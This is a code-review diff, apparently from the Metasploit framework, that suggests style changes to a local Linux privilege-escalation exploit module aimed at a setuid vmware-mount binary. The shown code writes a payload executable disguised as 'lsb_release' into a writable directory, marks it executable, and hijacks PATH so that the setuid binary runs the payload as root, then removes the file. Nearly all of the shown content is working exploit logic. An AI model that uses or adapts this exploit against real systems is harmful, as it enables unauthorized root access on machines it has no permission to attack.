Suggestions from OJ

Author: Rasta Mouse

modules/exploits/linux/local/vmware_mount.rb

@@ -54,7 +54,7 @@ def initialize(info={})
       }
       ))
     register_options([
-        OptString.new("WritableDir", [ true, "A directory where you can write files.", "/tmp" ]),
+        OptString.new("WRITABLEDIR", [ true, "A directory where you can write files.", "/tmp" ]),
       ], self.class)
   end
 
@@ -71,13 +71,14 @@ def exploit
       fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
     end
 
-    path = "#{datastore["WritableDir"]}"
-    write_file("#{path}/lsb_release", generate_payload_exe)
-    cmd_exec("chmod +x #{path}/lsb_release")
-    cmd_exec("PATH=#{path}:$PATH /usr/bin/vmware-mount")
+    lsb_path = File.join(datastore['WRITABLEDIR'], 'lsb_release')
+    write_file(lsb_path, generate_payload_exe)
+    cmd_exec("chmod +x #{lsb_path}")
+    cmd_exec("PATH=#{datastore['WRITABLEDIR']}:$PATH /usr/bin/vmware-mount")
     # Delete it here instead of using FileDropper because the original
     # session can clean it up
-    cmd_exec("rm -f #{path}/lsb_release")
+    cmd_exec("rm -f #{lsb_path}")
+
   end
 
   def setuid?(remote_file)